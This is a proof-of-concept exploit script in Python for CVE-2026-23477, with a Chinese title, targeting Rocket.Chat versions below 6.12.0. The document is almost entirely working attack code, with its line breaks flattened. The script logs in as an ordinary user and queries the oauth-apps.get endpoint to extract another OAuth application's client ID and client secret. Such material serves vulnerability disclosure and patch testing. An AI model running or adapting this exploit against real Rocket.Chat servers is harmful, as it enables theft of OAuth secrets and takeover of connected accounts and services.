CVE-2026-23477: Rocket.Chat OAuth应用敏感信息泄露漏洞

import requests import json # CVE-2026-23477 PoC - Rocket.Chat OAuth Apps Information Disclosure # Target: Rocket.Chat < 6.12.0 # Endpoint: GET /api/v1/oauth-apps.get TARGET_URL = "http://target-rocketchat.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_OAUTH_APP_ID = "TARGET_OAUTH_APP_ID" def exploit(): # Step 1: Authenticate with the target Rocket.Chat instance session = requests.Session() login_url = f"{TARGET_URL}/api/v1/login" login_data = { "user": USERNAME, "password": PASSWORD } print("[*] Authenticating to Rocket.Chat...") response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return auth_data = response.json() if not auth_data.get('status') == 'success': print("[-] Authentication failed") return user_id = auth_data['data']['userId'] auth_token = auth_data['data']['authToken'] print(f"[+] Authenticated successfully. UserID: {user_id}") # Step 2: Request OAuth app information without proper authorization headers = { "X-Auth-Token": auth_token, "X-User-Id": user_id } oauth_url = f"{TARGET_URL}/api/v1/oauth-apps.get?id={TARGET_OAUTH_APP_ID}" print(f"[*] Requesting OAuth app information: {oauth_url}") response = session.get(oauth_url, headers=headers) if response.status_code == 200: oauth_data = response.json() if oauth_data.get('success'): app_info = oauth_data.get('oauthApp', {}) print("[+] OAuth App Information Retrieved:") print(f" Client ID: {app_info.get('clientId')}") print(f" Client Secret: {app_info.get('clientSecret')}") print(f" App Name: {app_info.get('name')}") print(f" Active: {app_info.get('active')}") return app_info else: print(f"[-] Request failed with status code: {response.status_code}") return None if __name__ == "__main__": exploit()